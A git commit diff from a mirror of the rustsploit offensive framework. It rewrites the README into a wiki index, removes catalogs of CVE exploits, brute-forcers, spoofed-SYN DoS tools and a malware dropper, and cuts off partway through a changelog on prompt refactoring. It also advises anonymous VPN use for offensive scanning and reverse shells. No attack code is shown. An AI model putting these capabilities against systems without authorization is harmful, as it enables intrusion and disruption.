mirror of
https://github.com/s-b-repo/rustsploit
synced 2026-06-27 09:54:12 +00:00
unifying more stuff and new docs
adding unify support for api and prompt usage and improving. also adding some preformance improvements new documentations and improvement
This commit is contained in:
@@ -5,560 +5,92 @@ Modular offensive tooling for embedded targets, written in Rust and inspired by
|
||||

|
||||

|
||||
|
||||
|
||||
- **Developer Docs:** [Full guide covering module lifecycle,shell flow, and dispatcher](https://github.com/s-b-repo/rustsploit/blob/main/docs/readme.md)
|
||||
- **Interactive Shell:** Ergonomic command palette with shortcuts (e.g., `f1 ssh`, `u exploits/heartbleed`, `go`)
|
||||
|
||||
- **IPv4/IPv6 Ready:** Credential modules and sockets normalize targets so both address families work out-of-the-box
|
||||
|
||||
---
|
||||
|
||||
## Table of Contents
|
||||
## 📖 Wiki & Documentation
|
||||
|
||||
1. [Highlights](#highlights)
|
||||
2. [Module Catalog](#module-catalog)
|
||||
3. [Quick Start](#quick-start)
|
||||
4. [Docker Deployment](#docker-deployment)
|
||||
5. [Interactive Shell Walkthrough](#interactive-shell-walkthrough)
|
||||
6. [CLI Usage](#cli-usage)
|
||||
7. [API Server Mode](#api-server-mode)
|
||||
8. [How Modules Are Discovered](#how-modules-are-discovered)
|
||||
9. [Contributing](#contributing)
|
||||
10. [Credits](#credits)
|
||||
Full documentation lives in the **[Rustsploit Wiki](docs/Home.md)**. Below is a quick index — click through for detailed guides, examples, and reference material.
|
||||
|
||||
| Document | Description |
|
||||
|----------|-------------|
|
||||
| [Getting Started](docs/Getting-Started.md) | Installation, build, quick-start, Docker deployment |
|
||||
| [Interactive Shell](docs/Interactive-Shell.md) | Shell walkthrough, command palette, chaining, shortcuts |
|
||||
| [CLI Reference](docs/CLI-Reference.md) | Command-line flags, non-shell usage, output formats |
|
||||
| [API Server](docs/API-Server.md) | REST API startup, endpoints, auth, rate limiting, hardening |
|
||||
| [API Usage Examples](docs/API-Usage-Examples.md) | Practical curl workflows, request/response samples |
|
||||
| [Module Catalog](docs/Module-Catalog.md) | All modules by category — exploits, scanners, creds |
|
||||
| [Module Development](docs/Module-Development.md) | How to author new modules, lifecycle, dispatcher |
|
||||
| [Security & Validation](docs/Security-Validation.md) | Input validation, security patterns, honeypot detection |
|
||||
| [Credential Modules Guide](docs/Credential-Modules-Guide.md) | Best practices for brute-force / cred modules |
|
||||
| [Exploit Modules Guide](docs/Exploit-Modules-Guide.md) | Best practices for exploit modules |
|
||||
| [Utilities & Helpers](docs/Utilities-Helpers.md) | `utils.rs` public API, target normalization, honeypot check |
|
||||
| [Testing & QA](docs/Testing-QA.md) | Build checks, smoke tests, wordlist validation |
|
||||
| [Changelog](docs/Changelog.md) | Release notes and version history |
|
||||
| [Contributing](docs/Contributing.md) | Fork guide, PR checklist, code style |
|
||||
| [Credits](docs/Credits.md) | Authors, acknowledgements, legal notice |
|
||||
|
||||
---
|
||||
|
||||
## Highlights
|
||||
|
||||
- **Auto-discovered modules:** `build.rs` indexes `src/modules/**` so new code drops in without manual registration
|
||||
- **Interactive shell with color and shortcuts:** Quick command palette, target/module state tracking, alias commands (`help/?`, `modules/m`, `run/go`, etc.)
|
||||
|
||||
- **Comprehensive credential tooling:** FTP(S), SSH, Telnet, POP3(S), SMTP, RDP, RTSP, SNMP, L2TP, MQTT, Fortinet brute force modules with IPv6 and TLS support where applicable
|
||||
- **Enhanced Telnet module:** Full IAC (Interpret As Command) negotiation, advanced error classification, verbose quick-check mode, robust buffer handling
|
||||
- **Improved RDP module:** Streaming failover for large password files (>150MB), comprehensive error classification, multiple security level support (NLA/TLS/RDP/Negotiate/Auto)
|
||||
- **L2TP/IPsec Bruteforce:** Multi-platform support (strongswan, xl2tpd, NetworkManager, rasdial, networksetup), proper IPsec Phase 1/2 handling
|
||||
- **Framework-level honeypot detection:** Automatic detection before scans using 200 common ports (warns if 11+ ports open)
|
||||
- **Advanced target normalization:** Supports IPv4, IPv6, hostnames, URLs, CIDR notation with comprehensive validation
|
||||
- **Exploit coverage:** GNU inetutils-telnetd Auth Bypass (CVE-2026-24061), Apache Tomcat, Abus security cameras, Ivanti Connect Secure, TP-Link, Zabbix, Avtech cameras, Spotube, OpenSSH race condition, and more
|
||||
- **Scanners & utilities:** Port scanner, ping sweep, SSDP discovery, HTTP title grabber, DNS recursion tester, HTTP method scanner, StalkRoute traceroute (root), **Directory Bruteforcer**, **Sequential Fuzzer**
|
||||
- **Payload generation:** Batch malware dropper (`narutto_dropper`), BAT payload generator, custom credential checkers
|
||||
- **Readable output:** Colored prompts, structured status messages, optional verbose logs and result persistence
|
||||
- **REST API Server:** Launch a secure API server with authentication, rate limiting, IP tracking, and dynamic key rotation
|
||||
- **Security hardened:** Comprehensive input validation, path traversal protection, length limits, and memory-safe operations throughout
|
||||
- **Honeypot detection:** Framework-level automatic detection before module execution to warn about potentially deceptive targets
|
||||
- **Enhanced target handling:** Advanced normalization supporting IPv4, IPv6 (with brackets), hostnames, URLs, CIDR notation, and port extraction
|
||||
- **IP exclusion ranges (EXCLUDED_RANGES):** Camxploit, Telnet bruteforce, and exploit modules now skip bogon, private, reserved, documentation, and public DNS IPs during mass scans
|
||||
- **DoS / Stress testing suite:** Connection Exhaustion Flood (semaphore-bounded FDs), Null SYN Exhaustion (>1M PPS, IP spoofing), TCP Connection Flood (connect & drop, infinite mode)
|
||||
|
||||
---
|
||||
|
||||
**🚀 New Features:**
|
||||
- **CLI Error Handling** - Added proper warning messages for invalid flag combinations:
|
||||
- `⚠ Warning` when `-m` is used without `-t` (suggests proper usage)
|
||||
- `ℹ Note` when `-t` is used without `-m` (target available in shell)
|
||||
- Error when `--harden` is used without `--api`
|
||||
- Helpful usage hints printed for common mistakes
|
||||
- **Improved CLI Experience** - Added `--list-modules` to browse tools without entering the shell, and `--verbose` for detailed operation logs. Fuzzy matching now suggests corrections for typos (e.g., `sample_xploit` -> `sample_exploit`).
|
||||
- **Colored CLI output** - Warnings in yellow, hints in cyan, success in green
|
||||
|
||||
**📚 Documentation:**
|
||||
- Updated developer guide with v0.5.0 changes
|
||||
- Added CLI error handling examples
|
||||
|
||||
Rustsploit ships categorized modules under `src/modules/`, automatically exposed to the shell/CLI. A non-exhaustive snapshot:
|
||||
|
||||
| Category | Highlights |
|
||||
|----------|------------|
|
||||
| `creds/generic` | FTP anonymous & FTPS brute force (5 operation modes, JSON config), SSH brute force, SSH user enumeration (timing attack), SSH password spray, **Telnet brute force (with IAC negotiation)**, POP3(S) brute force, SMTP brute force, RTSP brute force (path + header bruting), **RDP auth-only brute (streaming mode, multiple security levels)**, **MQTT brute force**, SNMP community string brute force, **L2TP/IPsec brute force (multi-platform)**, Fortinet SSL VPN brute force |
|
||||
| `creds/camxploit` | **Camxploit camera scanner** with masscan-style parallel scanning, EXCLUDED_RANGES (bogons/private/reserved/DNS), port-based service filtering (ignores SSH/Telnet/RDP-only hosts), output file support |
|
||||
| `exploits/dos` | **Connection Exhaustion Flood** (FD-bounded semaphore, connect & drop), **Null SYN Exhaustion** (raw packet, IP spoofing, XorShift128+ RNG, >1M PPS), **TCP Connection Flood** (pre-resolved DNS, high-concurrency handshake stress) |
|
||||
| `exploits/*` | GNU inetutils-telnetd Auth Bypass (CVE-2026-24061), Apache Tomcat (CVE-2025-24813 RCE, CatKiller CVE-2025-31650), TP-Link VN020 / WR740N DoS, **TP-Link Tapo C200 CVE-2021-4045**, Abus camera CVE-2023-26609 variants, Ivanti Connect Secure stack buffer overflow, Zabbix 7.0.0 SQLi, Avtech CVE-2024-7029, Spotube zero-day, OpenSSH 9.8p1 race condition, Uniview password disclosure, ACTi camera RCE, Flowise CVE-2025-59528 RCE, HTTP/2 Rapid Reset DoS, Jenkins LFI, PAN-OS Auth Bypass, Heartbleed, **React2Shell CVE-2025-55182**, **SSHPWN Framework** (SFTP symlink/setuid/traversal, SCP injection/DoS, Session env injection) |
|
||||
| `scanners` | Port scanner (TCP/UDP/SYN/ACK), ping sweep (ICMP/TCP/UDP/SYN/ACK), SSDP M-SEARCH enumerator, HTTP title fetcher, HTTP method scanner, DNS recursion/amplification tester, StalkRoute traceroute (firewall evasion), **SSH scanner** (banner grabbing, CIDR support), **Directory Bruteforcer (recursive, extensions)**, **Sequential Fuzzer (multi-encoding, custom charsets)** |
|
||||
| `payloadgens` | `narutto_dropper`, BAT payload generator |
|
||||
| `lists` | RTSP wordlists, telnet default credentials, and helper files |
|
||||
|
||||
Run `modules` or `find <keyword>` in the shell for the authoritative list.
|
||||
- **Auto-discovered modules:** `build.rs` indexes `src/modules/**` — drop in new code, no manual registration needed
|
||||
- **Interactive shell:** Color prompts, shortcuts (`help/?`, `modules/m`, `run/go`), command chaining with `&`
|
||||
- **Comprehensive credential tooling:** FTP(S), SSH, Telnet, POP3(S), SMTP, RDP, RTSP, SNMP, L2TP, MQTT, Fortinet — with IPv6 and TLS support
|
||||
- **Exploit coverage:** CVEs for GNU inetutils-telnetd, Apache Tomcat, TP-Link, Ivanti, Zabbix, OpenSSH, Jenkins, PAN-OS, Heartbleed, and more
|
||||
- **Scanners & utilities:** Port scanner, ping sweep, SSDP, HTTP title grabber, DNS recursion tester, directory bruteforcer, sequential fuzzer
|
||||
- **REST API server:** Authentication, rate limiting, IP tracking, dynamic key rotation, hardening mode
|
||||
- **Security hardened:** Input validation, path traversal protection, honeypot detection, memory-safe operations
|
||||
- **IPv4/IPv6 ready:** Both address families work out-of-the-box across all modules
|
||||
|
||||
---
|
||||
|
||||
## Quick Start
|
||||
|
||||
### Requirements
|
||||
|
||||
**Debian/Ubuntu/Kali:**
|
||||
```bash
|
||||
```bash
|
||||
# Install dependencies (Debian/Ubuntu/Kali)
|
||||
sudo apt update
|
||||
sudo apt install pkg-config libssl-dev rustc libdbus-1-dev freerdp2-x11
|
||||
|
||||
sudo apt install pkg-config libssl-dev rustc libdbus-1-dev freerdp2-x11 # Required for RDP and Bluetooth modules
|
||||
|
||||
```
|
||||
|
||||
**Arch Linux:**
|
||||
```bash
|
||||
sudo pacman -S pkgconf openssl freerdp rustc
|
||||
```
|
||||
|
||||
**Gentoo:**
|
||||
```bash
|
||||
sudo emerge dev-libs/openssl dev-util/pkgconf net-misc/freerdp
|
||||
```
|
||||
|
||||
**Fedora/RHEL:**
|
||||
```bash
|
||||
sudo dnf install pkgconf-pkg-config openssl-devel freerdp rustc
|
||||
```
|
||||
|
||||
### Installing Rust & Cargo
|
||||
|
||||
**General (Recommended for all Linux/macOS):**
|
||||
```bash
|
||||
# Install Rust
|
||||
curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh
|
||||
source $HOME/.cargo/env
|
||||
```
|
||||
|
||||
|
||||
### Clone + Build
|
||||
|
||||
```
|
||||
# Clone & build
|
||||
git clone https://github.com/s-b-repo/rustsploit.git
|
||||
cd rustsploit
|
||||
cargo build
|
||||
```
|
||||
### instant quick run command debian 13
|
||||
|
||||
```
|
||||
sudo apt update -y && sudo apt upgrade -y && sudo apt install git wget curl pkg-config libssl-dev rustc libdbus-1-dev -y && \
|
||||
curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh -s -- -y && \
|
||||
source $HOME/.cargo/env && git clone https://github.com/s-b-repo/rustsploit.git && \
|
||||
cd rustsploit && CARGO_BUILD_JOBS=1 cargo run
|
||||
```
|
||||
|
||||
### Run (Interactive Shell)
|
||||
|
||||
```
|
||||
# Run
|
||||
cargo run
|
||||
```
|
||||
|
||||
For other distros (Arch, Gentoo, Fedora), Docker deployment, and one-liner installs, see **[Getting Started](docs/Getting-Started.md)**.
|
||||
|
||||
---
|
||||
|
||||
## Docker Deployment
|
||||
## Quick Navigation
|
||||
|
||||
Rustsploit ships with a standalone provisioning script that builds and launches the API inside Docker (mirroring the multi-stage workflow used in vxcontrol/pentagi).
|
||||
|
||||
### Requirements
|
||||
|
||||
- Docker Engine 24+ (or Docker Desktop)
|
||||
- Docker Compose plugin (`docker compose`) or legacy `docker-compose`
|
||||
- Python 3.8+
|
||||
|
||||
### Interactive Setup
|
||||
|
||||
```
|
||||
python3 scripts/setup_docker.py
|
||||
```
|
||||
|
||||
The helper will:
|
||||
|
||||
1. Confirm you are in the repository root (`Cargo.toml` present).
|
||||
2. Ask how the API should bind (`127.0.0.1`, `0.0.0.0`, detected LAN IP, or custom host:port).
|
||||
3. Let you enter or auto-generate an API key (printable ASCII, 128 chars max).
|
||||
4. Toggle hardening mode and tune the IP limit if desired.
|
||||
5. Generate:
|
||||
- `docker/Dockerfile.api` (build + serve stages)
|
||||
- `docker/entrypoint.sh` (passes CLI flags / hardening state)
|
||||
- `.env.rustsploit-docker` (API key, bind address, hardening settings)
|
||||
- `docker-compose.rustsploit.yml`
|
||||
6. Optionally run `docker compose up -d --build` with BuildKit enabled.
|
||||
|
||||
Existing files are never overwritten without confirmation (use `--force` for scripted deployments).
|
||||
|
||||
### Non-Interactive / CI Usage
|
||||
|
||||
All prompts have CLI equivalents:
|
||||
|
||||
```
|
||||
python3 scripts/setup_docker.py \
|
||||
--bind 0.0.0.0:8443 \
|
||||
--generate-key \
|
||||
--enable-hardening \
|
||||
--ip-limit 5 \
|
||||
--skip-up \
|
||||
--force \
|
||||
--non-interactive
|
||||
```
|
||||
|
||||
This produces the Docker assets but skips the compose launch. To start the stack later:
|
||||
|
||||
```
|
||||
docker compose -f docker-compose.rustsploit.yml up -d --build
|
||||
```
|
||||
|
||||
Environment variables are written with 0600 permissions so secrets stay private. Re-run the script any time you want to regenerate artefacts or rotate the API key.
|
||||
|
||||
---
|
||||
|
||||
## New Features & Improvements
|
||||
|
||||
### Framework-Level Enhancements
|
||||
|
||||
- **Honeypot Detection**: Automatically scans 200 common ports before module execution. If 11+ ports are open, warns that the target is likely a honeypot. This check runs universally on every target after it's set.
|
||||
|
||||
- **Advanced Target Normalization**: The framework now supports:
|
||||
- IPv4: `192.168.1.1`, `192.168.1.1:8080`
|
||||
- IPv6: `::1`, `[::1]`, `[::1]:8080`, `2001:db8::1`
|
||||
- Hostnames: `example.com`, `example.com:443`
|
||||
- URLs: `http://example.com:8080` (extracts host:port)
|
||||
- CIDR notation: `192.168.1.0/24`, `2001:db8::/32`
|
||||
|
||||
All targets are validated for security (DoS prevention, path traversal protection, format validation).
|
||||
|
||||
### Module Improvements
|
||||
|
||||
- **Telnet Bruteforce**:
|
||||
- Full Telnet IAC (Interpret As Command) negotiation support
|
||||
- Enhanced error classification (connection, DNS, authentication, protocol, I/O, timeout errors)
|
||||
- Verbose mode for quick checks showing all attempts and detailed statistics
|
||||
- Improved buffer handling and memory management
|
||||
|
||||
- **RDP Bruteforce**:
|
||||
- Automatic streaming failover for password files >150MB to prevent memory exhaustion
|
||||
- Comprehensive error classification (ConnectionFailed, AuthenticationFailed, CertificateError, Timeout, NetworkError, ProtocolError, ToolNotFound, Unknown)
|
||||
- Support for multiple RDP security levels: Auto, NLA, TLS, RDP, Negotiate
|
||||
- Command injection prevention in external tool calls
|
||||
|
||||
- **MQTT Bruteforce**:
|
||||
- Full MQTT 3.1.1 protocol implementation
|
||||
- Proper CONNECT packet construction with variable-length encoding
|
||||
- CONNACK response parsing and error classification
|
||||
|
||||
- **SSH User Enumeration**:
|
||||
- Timing attack-based user enumeration (inspired by CVE-2018-15473)
|
||||
- Statistical analysis with configurable samples and thresholds
|
||||
- Distinguishes valid/invalid users based on authentication time differences
|
||||
|
||||
- **Directory Bruteforcer**:
|
||||
- High-performance recursive directory scanning
|
||||
- Custom wordlists with extension appending
|
||||
- Smart status code filtering and size anomaly detection
|
||||
- Interactive wizard for easy configuration
|
||||
|
||||
- **Sequential Fuzzer**:
|
||||
- Targeted fuzzing for URLs, headers, and body parameters
|
||||
- Multiple encoding types (URL, Double URL, Hex, Base64, etc.)
|
||||
- Custom charsets (SQL, Traversal, Command Injection)
|
||||
- Iterative generation for exhaustive coverage
|
||||
|
||||
## Interactive Shell Walkthrough
|
||||
|
||||
The shell tracks current module, target, and proxy state. All commands are case-insensitive and support aliases:
|
||||
|
||||
```text
|
||||
RustSploit Command Palette
|
||||
Command Shortcuts Description
|
||||
--------------- ------------------------- ------------------------------
|
||||
help help | h | ? Show this screen
|
||||
modules modules | ls | m List discovered modules
|
||||
find find <kw> | f1 <kw> Search modules by keyword
|
||||
use use <path> | u <path> Select module (ex: u exploits/heartbleed)
|
||||
set target set target <value> Set current target (IPv4/IPv6/hostname)
|
||||
run run | go Execute current module (honors proxy mode)
|
||||
exit exit | quit | q Leave shell
|
||||
```
|
||||
|
||||
Example session:
|
||||
|
||||
```text
|
||||
rsf> f1 ssh
|
||||
rsf> u creds/generic/ssh_bruteforce
|
||||
rsf> set target 10.10.10.10
|
||||
rsf> go
|
||||
```
|
||||
|
||||
### Command Chaining
|
||||
|
||||
Execute multiple commands in a single line using the `&` separator:
|
||||
|
||||
```text
|
||||
rsf> u creds/generic/ssh_bruteforce & set target 10.10.10.10 & go
|
||||
rsf> f1 ssh & u creds/generic/ssh_bruteforce & set target 192.168.1.1
|
||||
```
|
||||
|
||||
This is useful for scripting quick workflows or batching common operations together.
|
||||
|
||||
---
|
||||
|
||||
## CLI Usage
|
||||
|
||||
Modules can be executed without the shell using the `--command`, `--module`, and `--target` flags:
|
||||
|
||||
```
|
||||
# Exploit
|
||||
cargo run -- --command exploit --module heartbleed --target 192.168.1.1
|
||||
|
||||
# Scanner
|
||||
cargo run -- --command scanner --module port_scanner --target 192.168.1.1
|
||||
|
||||
# Credentials
|
||||
cargo run -- --command creds --module ssh_bruteforce --target 192.168.1.1
|
||||
```
|
||||
|
||||
### Global Flags
|
||||
|
||||
- `--list-modules`: Print all available modules and exit.
|
||||
- `--verbose (-v)`: Enable detailed logging (useful for debugging).
|
||||
- `--output-format <text|json>`: Control output format (default: text).
|
||||
|
||||
```bash
|
||||
# List all modules
|
||||
cargo run -- --list-modules
|
||||
|
||||
# Run with verbose logging
|
||||
cargo run -- -m exploits/sample_exploit -t 127.0.0.1 -v
|
||||
```
|
||||
|
||||
Any module exposed to the shell can be called here. Use the `modules` shell command or browse `src/modules/**` for canonical names.
|
||||
|
||||
---
|
||||
|
||||
## API Server Mode
|
||||
|
||||
Rustsploit includes a REST API server mode that allows remote control of the tool via HTTP endpoints. The API includes authentication, rate limiting, IP tracking, and security hardening features.
|
||||
|
||||
### Starting the API Server
|
||||
|
||||
```
|
||||
# Basic API server (defaults to 0.0.0.0:8080)
|
||||
cargo run -- --api --api-key your-secret-key-here
|
||||
|
||||
# With hardening enabled (auto-rotate API key on suspicious activity)
|
||||
cargo run -- --api --api-key your-secret-key-here --harden
|
||||
|
||||
# Custom interface and IP limit
|
||||
cargo run -- --api --api-key your-secret-key-here --harden --interface 127.0.0.1 --ip-limit 5
|
||||
|
||||
# Custom port
|
||||
cargo run -- --api --api-key your-secret-key-here --interface 0.0.0.0:9000
|
||||
```
|
||||
|
||||
### API Flags
|
||||
|
||||
| Flag | Description | Required |
|
||||
|------|-------------|----------|
|
||||
| `--api` | Enable API server mode | Yes |
|
||||
| `--api-key <key>` | API key for authentication | Yes (when using `--api`) |
|
||||
| `--harden` | Enable hardening mode (auto-rotate key on suspicious activity) | No |
|
||||
| `--interface <addr>` | Network interface/IP to bind to (default: `0.0.0.0`) | No |
|
||||
| `--ip-limit <num>` | Maximum unique IPs before auto-rotation (default: 10, requires `--harden`) | No |
|
||||
|
||||
### API Endpoints
|
||||
|
||||
All endpoints except `/health` require authentication via the `Authorization` header:
|
||||
|
||||
```
|
||||
# Bearer token format
|
||||
Authorization: Bearer your-api-key-here
|
||||
|
||||
# Or ApiKey format
|
||||
Authorization: ApiKey your-api-key-here
|
||||
```
|
||||
|
||||
#### Public Endpoints
|
||||
|
||||
- **`GET /health`** - Health check (no authentication required)
|
||||
```
|
||||
curl http://localhost:8080/health
|
||||
```
|
||||
|
||||
#### Protected Endpoints
|
||||
|
||||
- **`GET /api/modules`** - List all available modules
|
||||
```
|
||||
curl -H "Authorization: Bearer your-api-key" http://localhost:8080/api/modules
|
||||
```
|
||||
|
||||
- **`GET /api/module/:category/:name`** - Get details for a specific module
|
||||
```
|
||||
curl -H "Authorization: Bearer your-api-key" http://localhost:8080/api/module/exploits/sample_exploit
|
||||
```
|
||||
|
||||
- **`POST /api/run`** - Execute a module on a target
|
||||
```
|
||||
curl -X POST -H "Authorization: Bearer your-api-key" \
|
||||
-H "Content-Type: application/json" \
|
||||
http://localhost:8080/api/run
|
||||
```
|
||||
|
||||
- **`POST /api/validate`** - Validate parameters without execution
|
||||
```
|
||||
curl -X POST -H "Authorization: Bearer your-api-key" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"module": "scanners/port_scanner", "target": "192.168.1.1"}' \
|
||||
http://localhost:8080/api/validate
|
||||
```
|
||||
|
||||
- **`GET /api/status`** - Get API server status and statistics
|
||||
```
|
||||
curl -H "Authorization: Bearer your-api-key" http://localhost:8080/api/status
|
||||
```
|
||||
|
||||
- **`POST /api/rotate-key`** - Manually rotate the API key
|
||||
```
|
||||
curl -X POST -H "Authorization: Bearer your-api-key" \
|
||||
http://localhost:8080/api/rotate-key
|
||||
```
|
||||
|
||||
- **`GET /api/ips`** - Get all tracked IP addresses with details
|
||||
```
|
||||
curl -H "Authorization: Bearer your-api-key" http://localhost:8080/api/ips
|
||||
```
|
||||
|
||||
- **`GET /api/auth-failures`** - Get authentication failure statistics
|
||||
```
|
||||
curl -H "Authorization: Bearer your-api-key" http://localhost:8080/api/auth-failures
|
||||
```
|
||||
|
||||
### telnet config example
|
||||
```
|
||||
{
|
||||
"port": 23,
|
||||
"username_wordlist": "usernames.txt",
|
||||
"password_wordlist": "passwords.txt",
|
||||
"threads": 10,
|
||||
"delay_ms": 50,
|
||||
"connection_timeout": 3,
|
||||
"read_timeout": 1,
|
||||
"stop_on_success": true,
|
||||
"verbose": false,
|
||||
"full_combo": true,
|
||||
"raw_bruteforce": false,
|
||||
"raw_charset": "",
|
||||
"raw_min_length": 0,
|
||||
"raw_max_length": 0,
|
||||
"output_file": "results.txt",
|
||||
"append_mode": false,
|
||||
"pre_validate": true,
|
||||
"retry_on_error": true,
|
||||
"max_retries": 2,
|
||||
"login_prompts": ["login:", "username:"],
|
||||
"password_prompts": ["password:"],
|
||||
"success_indicators": ["$", "#", "welcome"],
|
||||
"failure_indicators": ["incorrect", "failed"]
|
||||
}
|
||||
```
|
||||
|
||||
|
||||
|
||||
### Security Features
|
||||
|
||||
#### Input Validation & Security
|
||||
- **Request Body Limiting:** Maximum 1MB request body to prevent DoS attacks
|
||||
- **API Key Validation:** Keys must be printable ASCII, max 256 characters
|
||||
- **Target Validation:** All targets are validated for length, control characters, and path traversal
|
||||
- **Module Path Sanitization:** Module names are validated against path traversal and injection attacks
|
||||
- **Resource Limits:** Automatic cleanup when tracked IPs or auth failures exceed 100,000 entries
|
||||
|
||||
#### Rate Limiting
|
||||
- IPs are automatically blocked for **30 seconds** after **3 failed authentication attempts**
|
||||
- Blocked IPs receive HTTP `429 Too Many Requests` responses
|
||||
- Failed attempts are logged to both terminal and log file
|
||||
- Counter resets automatically after the block period expires
|
||||
- Successful authentication resets the failure counter for that IP
|
||||
- Automatic cleanup of expired blocks and entries older than 1 hour
|
||||
|
||||
#### Hardening Mode
|
||||
When `--harden` is enabled:
|
||||
- Tracks unique IP addresses accessing the API
|
||||
- Automatically rotates the API key when the number of unique IPs exceeds the limit (default: 10)
|
||||
- Logs all rotation events to terminal and `rustsploit_api.log`
|
||||
- Clears IP tracking after key rotation
|
||||
- Automatic pruning when tracker exceeds 100,000 entries
|
||||
|
||||
#### Logging
|
||||
All API activity is logged to:
|
||||
- **Terminal:** Real-time console output with colored status messages
|
||||
- **Log File:** `rustsploit_api.log` in the current working directory
|
||||
|
||||
Log entries include:
|
||||
- API requests and responses
|
||||
- Authentication failures and rate limiting events
|
||||
- IP tracking and hardening actions
|
||||
- Key rotation events
|
||||
- Module execution results
|
||||
- Resource cleanup operations
|
||||
|
||||
**Note:** API responses now include `request_id`, `timestamp`, and `duration_ms` for better observability.
|
||||
|
||||
### Example API Workflow
|
||||
|
||||
```
|
||||
# 1. Start the API server
|
||||
cargo run -- --api --api-key my-secret-key --harden --ip-limit 5
|
||||
|
||||
# 2. Check health
|
||||
curl http://localhost:8080/health
|
||||
|
||||
# 3. List available modules
|
||||
curl -H "Authorization: Bearer my-secret-key" http://localhost:8080/api/modules
|
||||
|
||||
# 4. Run a port scan
|
||||
curl -X POST -H "Authorization: Bearer my-secret-key" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"module": "scanners/port_scanner", "target": "192.168.1.1"}' \
|
||||
http://localhost:8080/api/run
|
||||
|
||||
# 5. Check status
|
||||
curl -H "Authorization: Bearer my-secret-key" http://localhost:8080/api/status
|
||||
|
||||
# 6. View tracked IPs
|
||||
curl -H "Authorization: Bearer my-secret-key" http://localhost:8080/api/ips
|
||||
```
|
||||
- **New user?** → [Getting Started](docs/Getting-Started.md)
|
||||
- **Writing a module?** → [Module Development](docs/Module-Development.md)
|
||||
- **Using the API?** → [API Server](docs/API-Server.md) + [API Usage Examples](docs/API-Usage-Examples.md)
|
||||
- **Running from CLI?** → [CLI Reference](docs/CLI-Reference.md)
|
||||
- **Full module list?** → [Module Catalog](docs/Module-Catalog.md)
|
||||
|
||||
---
|
||||
|
||||
## Private Internet Recommendations
|
||||
|
||||
The built-in proxy system has been removed in favor of system-level VPN solutions which offer far superior reliability and security for offensive operations.
|
||||
|
||||
We strongly recommend **[Mullvad VPN](https://mullvad.net)** for the following reasons:
|
||||
- **No Registration:** Account numbers are generated without email or personal data.
|
||||
- **Privacy Focus:** Proven no-logs policy, audited infrastructure, and anonymous payment options (Cash, Crypto).
|
||||
- **WireGuard Support:** High-performance, low-latency tunneling essential for scanning and brute-forcing.
|
||||
- **Port Forwarding:** (Note: check current availability) historically supported for reverse shells.
|
||||
- **Linux CLI:** Excellent command-line client that integrates well with headless setups.
|
||||
|
||||
To use Rustsploit with Mullvad (or any VPN), simply connect the VPN on your host system before running the tool. All traffic will naturally route through the tunnel.
|
||||
|
||||
---
|
||||
|
||||
## How Modules Are Discovered
|
||||
|
||||
Rustsploit scans `src/modules/` recursively during build. Each module should expose:
|
||||
|
||||
```rust
|
||||
pub async fn run(target: &str) -> anyhow::Result<()>;
|
||||
```
|
||||
|
||||
Optional interactive entry points (`run_interactive`) can coexist. Module paths are referenced relative to `src/modules/`, for example:
|
||||
|
||||
- File: `src/modules/exploits/sample_exploit.rs`
|
||||
- Shell path: `exploits/sample_exploit`
|
||||
|
||||
See the [Developer Guide](https://github.com/s-b-repo/rustsploit/blob/main/docs/readme.md) for scaffolding templates, async guidance, and tips on logging/persistence.
|
||||
The built-in proxy system has been removed in favor of system-level VPN solutions. We recommend **[Mullvad VPN](https://mullvad.net)** for its no-registration, audited no-logs policy, WireGuard support, and excellent Linux CLI. Simply connect your VPN before running the tool — all traffic routes through the tunnel.
|
||||
|
||||
---
|
||||
|
||||
## Contributing
|
||||
|
||||
Contributions are welcome! High-level suggestions:
|
||||
Contributions welcome! See the **[Contributing Guide](docs/Contributing.md)** for the full process. In short:
|
||||
|
||||
1. Fork + branch from `main`
|
||||
2. Add your module under the appropriate category
|
||||
3. Keep outputs concise, leverage `.yellow()/.green()` for status, and wrap heavy loops in async tasks when appropriate
|
||||
4. Document usage patterns in module comments
|
||||
5. Run `cargo fmt` and `cargo check` before opening a PR
|
||||
|
||||
Bug reports, feature requests, and module ideas are appreciated. Feel free to log issues or reach out with PoCs.
|
||||
3. Run `cargo fmt` and `cargo check` before opening a PR
|
||||
|
||||
---
|
||||
|
||||
@@ -566,7 +98,6 @@ Bug reports, feature requests, and module ideas are appreciated. Feel free to lo
|
||||
|
||||
- **Project Lead:** s-b-repo
|
||||
- **Language:** 100% Rust
|
||||
- **Wordlists:** Seclists + custom additions (`lists/` directory)
|
||||
- **Inspired by:** RouterSploit, Metasploit Framework, pwntools
|
||||
|
||||
> ⚠️ Rustsploit is intended for authorized security testing and research purposes only. Obtain explicit permission before targeting any system you do not own.
|
||||
|
||||
@@ -13710,4 +13710,91 @@ Impact: All 16+ modules that use is_subnet_target() + parse_subnet() will now pr
|
||||
|
||||
telnet_bruteforce, ssh_bruteforce, ftp_bruteforce, rdp_bruteforce, smtp_bruteforce, snmp_bruteforce, mqtt_bruteforce, pop3_bruteforce, l2tp_bruteforce, fortinet_bruteforce, rtsp_bruteforce, ssh_user_enum, ftp_anonymous, telnet_hose, camxploit, etc.
|
||||
|
||||
Walkthrough: API Support for Network Exploits
|
||||
Summary
|
||||
Added API/CLI/Shell support to 19 exploit files across
|
||||
network_infra/
|
||||
,
|
||||
routers/
|
||||
, and
|
||||
telnet/
|
||||
directories. All modules now work via API (/api/run), CLI (--module), and shell (
|
||||
run
|
||||
).
|
||||
|
||||
Pattern
|
||||
Replaced interactive-only prompt functions with cfg_prompt_* equivalents:
|
||||
|
||||
Old New Notes
|
||||
prompt_required(msg)
|
||||
cfg_prompt_required(key, msg)
|
||||
Required field
|
||||
prompt_default(msg, def)
|
||||
cfg_prompt_default(key, msg, def)
|
||||
With default
|
||||
prompt_port(msg, def)
|
||||
cfg_prompt_port(key, msg, def)
|
||||
Port number
|
||||
prompt_yes_no(msg, def)
|
||||
cfg_prompt_yes_no(key, msg, def)
|
||||
Boolean
|
||||
prompt_int_range(...)
|
||||
cfg_prompt_int_range(...)
|
||||
Integer range
|
||||
Raw stdin reads Various cfg_prompt_* Direct I/O replaced
|
||||
Local
|
||||
prompt()
|
||||
helpers
|
||||
cfg_prompt_required
|
||||
Removed dead code
|
||||
Files Modified
|
||||
Network Infra (16 files)
|
||||
Fortinet:
|
||||
fortios_auth_bypass
|
||||
,
|
||||
fortios_ssl_vpn
|
||||
,
|
||||
